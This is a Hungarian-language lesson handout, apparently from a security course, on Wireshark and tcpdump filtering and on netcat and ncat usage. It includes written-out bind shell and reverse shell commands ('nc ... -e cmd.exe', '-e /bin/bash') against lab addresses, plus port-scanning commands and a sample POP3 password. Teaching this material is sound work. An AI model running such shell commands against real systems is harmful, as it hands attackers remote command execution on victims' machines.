3. óra: Hálózati eszközök (Netcat, Wireshark, Tcpdump) és alapfogalmak (bind shell, reverse shell, helyi tűzfal, NAT)

Tartalom

1. Wireshark
2. Tcpdump
   - Packet capture
   - Packet analysis
3. Netcat
   - Kliensként
   - Szerverként
   - Netcat chat
   - Állományok küldése
   - Bind shell: a célgép a szerver
   - Reverse shell: a célgép a kliens, a célgép kezdeményez
   - Scanning
4. Ncat
   - Bind shell (encrypted, allow)
   - Reverse shell
5. Feladat

---

1. Wireshark

mit	hogyan
Csomagok keresése	Menü: Edit > Find Packet (Ctrl+F), (Find by) = String

1.1. Display filters

Wireshark help

mit	hogyan
IP address	• ip.addr ==192.168.56.1 • ip.src == 192.168.56.1 • ip.dst == 192.168.56.1
TCP port	• tcp.port==80 • tcp.srcport==80 • tcp.dstport==80
TCP flag	tcp.flags.ack==1
UDP port	• udp.port==53 • udp.srcport == 53 • udp.dstport == 53

mit	hogyan
Protocol	• dns, dhcp, http, tcp, snmp, smtp stb.

1.2. Capture filters

- DNS

```
port 53
```

- MAC címre

```
ether dst 78:54:2e:97:a8:c9 or ether src 78:54:2e:97:a8:c9
```

- IP címre és portra

```
host 172.18.5.4 and tcp port 25
```

  - Encapsulation esetén

```
pppoes and host 172.18.5.4 and tcp port 25
```

- IP címre (akár src, akár dest)

```
host 172.18.5.4
```

- Port

```
port 53
```

- Hálózatra

```
net 192.168.0.0/24
```

- Port tartomány

```
tcp portrange 1501-1549
```

---

2. Tcpdump

2.1. Opciók

-

opciók	jelentés
-n	Don't convert addresses (i.e., host addresses, port numbers, etc.) to names.
-w file	Write the raw packets to file rather than parsing and printing them out
-v	When writing to a file with the -w option, report, every 10 seconds, the number of packets captured.
-n	Don't convert addresses (i.e., host addresses, port numbers, etc.) to names.
-S	Original TCP sequence numbers
-s 4096	4096 byte után vágja el a csomagot (valamiért az alapértelmezett 96 byte) windumpnál.
-A	Print each packet (minus its link level header) in ASCII. Handy for capturing web pages.

2.2. Packet capture

- Az interface-ek lekérdezése (Linux):

```
tcpdump -D
```

Win

```
windump -D
```

- A 2. interface (-i 2) minden csomagjának mentése pcap formátumban (-w file). Vágás 1024 byte után (-s), ne kérdezzen le neveket (-n)

```
windump -n -S -s 4096 -i 2 -w windump.pcap
```

Linux

```
tcpdump -n -S -s 4096 -i 2 -w tcpdump.pcap
```

2.3. Packet analysis

1. Reads all packets from file -r

```
tcpdump -r password_cracking_filtered.pcap
```

2. Egy adott IP-ről induló csomagok

```
tcpdump -n src host 172.16.40.10 \
-r password_cracking_filtered.pcap > kimenet.txt
```

3. Egy adott IP-re érkező csomagok

```
tcpdump -n dst host 172.16.40.10 \
-r password_cracking_filtered.pcap > kimenet.txt
```

4. Adott portról induló vagy adott portra érkező csomagok

```
tcpdump -n port 81 -r password_cracking_filtered.pcap > ki.t
```

5. Print the data of each packet (minus its link level header) in hex and ASCII. (-X)

```
tcpdump -nX -r ki.pcap > kimenet.txt
```

6. PSH, ACK flagű TCP csomagok (HTTP forgalom elemzésére nagyon jó) Windows-on nem tudtam működésre bírni.

Linux

```
tcpdump -nA 'tcp[13] = 24' \
-r password_cracking_filtered.pcap > kimenet.txt
```

  - Wireshark display filter

```
tcp.flags.ack==1 && tcp.flags.push == 1
```

7. A szűrés elmentése állományba

```
tcpdump -n port 43 -r ki.pcap -w uj.pcap
```

---

3. Netcat

3.1. Opciók (kapcsolók)

kapcsoló	jelentése
-v	Verbose
-n	numeric-only IP addresses, no DNS
-l	listen mode, for inbound connects
-p port	local port number (port numbers can be individual or ranges: lo-hi [inclusive])

3.2. Kliensként

3.2.1 HTTP kliensként

1. Kézzel

```
nc -v 127.0.0.1 80
```

Get.txt (a 2 sortörés fontos)

```
GET / HTTP/1.1

```

- Request headerek állítása (Host, Referer, User-Agent stb.)
  1. get.txt tartalma

```
GET / HTTP/1.1
Host: gmail.com:80
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.google.com/
Connection: keep-alive

```

  2. Parancs

```
nc -v gmail.com 80 < get.txt
```

3.2.2 POP3 kliens

POP3 parancsok

- Authentikáció

```
nc -v freemail.hu 110
```

```
USER nctest
```

```
PASS r3xpkrmqk7qdfuv
```

```
QUIT
```

3.2.3 SMTP kliens

- Help

```
nc -nv 192.168.56.102 25
```

```
HELP
```

Kimenet

```
root@kali:~# nc -nv 192.168.56.102 25
(UNKNOWN) [10.11.20.41] 25 (smtp) open
220 localhost ESMTP server ready.
HELP
214-Recognized SMTP commands are:
214- HELO EHLO MAIL RCPT DATA RSET
214- AUTH NOOP QUIT HELP VRFY SOML
214 Mail server account is 'Maiser'.
```

3.2.4 IMAP kliens

-

```
nc -nv 192.168.56.102 143
```

3.3. Szerverként

- Listener indítása

```
nc -nlvp 80
```

3.4. Netcat chat

- Szerver

```
nc -nlvp 4444
```

- Kliens

```
nc -nv 192.168.56.102 4444
```

3.5. Állományok küldése

- Fogadó

```
nc -nlvp 4444 > bejovo.exe
```

- Küldő

```
nc -nv 10.11.20.41 4444 <kuldendo.exe
```

3.6. Bind shell: a célgép a szerver

- A szerver a célgép, amelyik végrehajtja a parancsokat

```
nc -nlvp 4444 -e cmd.exe
```

  - Linux

```
nc -nlvp 4444 -e /bin/bash
```

- A kliens amelyik küldi a parancsokat

```
nc -nv 127.0.0.1 4444
```

3.7. Reverse shell: a célgép a kliens, a célgép kezdeményez

Akkor jó, ha a célgép tűzfal, vagy NAT funkcióval működő router mögött van.

- A támadó megnyitja a portot.

```
nc -nlvp 4444
```

- A célgép kezdeményezi a kapcsolatot

```
nc -nv 192.168.56.101 4444 -e cmd.exe
```

  - Linux

```
nc -nv 192.168.56.102 4444 -e /bin/bash
```

3.8. Scanning

- TCP port scanning (-n: no DNS, -w 1: 1s timeout, -z zero I/O mode (scanning)

```
nc -nvv -w 1 -z 192.168.56.102 3388-3390
```

- UDP port scanning (-n: no DNS, -w 1: 1s timeout, -z zero I/O mode (scanning)

```
nc -nvv -u -z -w 1 192.168.56.102 160-162
```

---

4. Ncat

4.1. Előnyei

- Biztonság: whitelisting IP addresses, TLS (SSL) támogatás

4.2. Használata

4.2.1 Bind shell

- Szerver

```
ncat -lvp 4444 -e cmd.exe --allow 192.168.56.102 --ssl
```

- Kliens

```
ncat -v 192.168.56.101 4444 --ssl
```

4.2.2 Reverse shell

- Szerver (Kali, támadó)

```
ncat -lvp 4444 --allow 192.168.56.102 --ssl
```

- Kliens (Windows)

```
ncat -v -e cmd.exe 192.168.56.101 4444 --ssl
```

---

5. Feladat

1. Annak ellenőrzése, hogy az otthoni internetszolgáltatód kiengedi-e a 25-ös portra címzett TCP csomagokat? Használandó eszközök:
   - tcpdump a hálózati forgalmi adatok gyűjtésére,
   - netcat (nc) a portquiz.net 25-ös TCP portjára kapcsolódáshoz,
   - Wireshark a hálózati forgalmi adatok elemzéséhez.

Negatív eredmény esetén ne felejtkezz meg egy pozitív kontroll elvégzéséről, hogy ellenőrizd minden beállítás helyes.
